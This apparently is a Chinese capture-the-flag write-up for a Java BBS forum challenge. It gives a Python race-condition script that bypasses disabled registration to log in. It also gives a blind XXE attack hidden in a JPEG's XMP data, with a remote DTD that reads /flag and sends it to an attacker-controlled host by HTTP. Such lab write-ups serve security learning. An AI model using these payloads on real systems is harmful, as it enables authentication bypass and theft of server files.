题目是一个BSS论坛,如图
尝试注册发现注册未开放
题目给了jar
包以及给了一个提示条件竞争绕过,分析源码:
/register
、/login
接口都在com.my.bbs.controller.rest.BBSUserController
首先cacheUser
是BBSUser
类型的私有属性,并且register.enable=false
默认不开启注册
@Value("${register.enable}")
private Boolean register_enable;
private BBSUser cacheUser = new BBSUser();
在注册时cacheUser
的LoginName
、PasswordMd5
属性都是先被set
了值的,然后是判断注册是否开启,如果未开启register_enable=false
时,LoginName
、PasswordMd5
即会被set
为null
置空。
在登录时,登录成功的条件是cacheUser.loginName
不为空,并且传入loginName
和password
参数与cacheUser.loginName
和cacheUser.passwordMd5
相等。
所以登录这里就存在一个条件竞争绕过,可以写个脚本一边不停的注册,一边不停地登录,在cache.loginName
和cache.passwordMd5
没有置空前,成功登录获取Cookie
。
登录的账号就用泄露的这个
import requests
import threading
import json
def register(baseUrl):
global loginSuccessFlag
registerUrl = baseUrl + '/register'
registerData = {"loginName" : "admin@qq.com", "nickName" : "admin@qq.com", "password" : "mochu7777777", "repass" : "mochu7777777"}
while not loginSuccessFlag:
registerSession = requests.session()
registerResp = registerSession.post(url=registerUrl, data=registerData)
print(registerResp.text)
def login(baseUrl):
global loginSuccessFlag
loginUrl = baseUrl + '/login'
loginData = {"loginName" : "admin@qq.com", "password" : "mochu7777777"}
while not loginSuccessFlag:
loginSession = requests.session()
loginResp = loginSession.post(url=loginUrl, data=loginData)
resultCode = json.loads(loginResp.text)['resultCode']
if resultCode == 200:
print(loginResp.text)
print(loginResp.headers)
loginSuccessFlag = True
break
if __name__ == '__main__':
baseUrl = "http://192.168.7.7:8888"
loginSuccessFlag = False
threading.Thread(target=register, args=(baseUrl,)).start()
threading.Thread(target=login, args=(baseUrl,)).start()
有时候可能要跑比较久,条件竞争要耐心点
带上Cookie
即可访问/userSet
接口
登录成功后,继续分析源码,com.my.bbs.controller.common.UploadController
中uploadFile
接口
生成的文件名String newFileName = SystemUtil.genFilenameByDate(file);
,方法在com.my.bbs.util.SystemUtil
类中,可以看到将上传的文件内容传给了com.my.bbs.util.FileUtil.getXmpMeta()
处理。
很明显这是个处理图片中xmp
数据的方法,那么什么是图片XMP
,来看下GPT的解释
能够被解析猜测有可能就是考XXE了
继续跟进getXmpMeta()
方法发现这里使用了xmpcore
和metadata-extractor
两个组件
然后把这个方法提取出来,下个断点简单调试下,分析下会经过哪些可能会造成XXE的地方
把ezbbs.jar
包中的依赖解压出来,然后加载进IDEA,方便之后调试,把两个组件的依赖也加进来
<dependencies>
<dependency>
<groupId>com.drewnoakes</groupId>
<artifactId>metadata-extractor</artifactId>
<version>2.6.2</version>
</dependency>
<dependency>
<groupId>com.adobe.xmp</groupId>
<artifactId>xmpcore</artifactId>
<version>5.1.2</version>
</dependency>
</dependencies>
下个断点开始调,过程很长,大致就是从metadata-extractor
跟到处理xml
的xmlcore
组件
跟进调试会来到com.adobe.xmp.impl.XMPMetaParser.parse()
,继续跟进查看处理xml
数据的方法Document document = parseXml(input, options);
com.adobe.xmp.impl.parseXml()
com.adobe.xmp.impl.parseXmlFromString
com.adobe.xmp.impl.parseInputSource
com.adobe.xmp.impl.XMPMetaParser
而这个factory
就是下面这个
com.adobe.xmp.impl.createDocumentBuilderFactory()
到这里就很明显是DocumentBuilderFactory
导致的XXE
,没有设置禁用外部实体。
明确了上传这里是会加载图片中的xmp
数据解析造成XXE
,那么只需要找一张有xmp
数据的图片,这个PS随便生成一张JPG就行,不要太大。并且注意,不增加修改原来的字节数量,只修改这一块原来的xmp
数据,且要保证原来结构完整。
没有回显的XXE,引入一个远程实体,开启HTTP监听,把读取的数据外带出来
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://10.10.1.67:8088/evil.xml"> %remote;]>
注意不要增加删除字节,只在原来的基础上做修改并且后面补全完整的结构。
远程实体evil.xml
<!ENTITY % file SYSTEM 'file:///flag'>
<!ENTITY % evil "<!ENTITY % data SYSTEM 'http://10.10.1.67:8088/?flag=%file;'>">
%evil;
%data;
然后将evil.jpg
上传,解析xmp
数据触发引用这个远程实体加载读取/flag
即可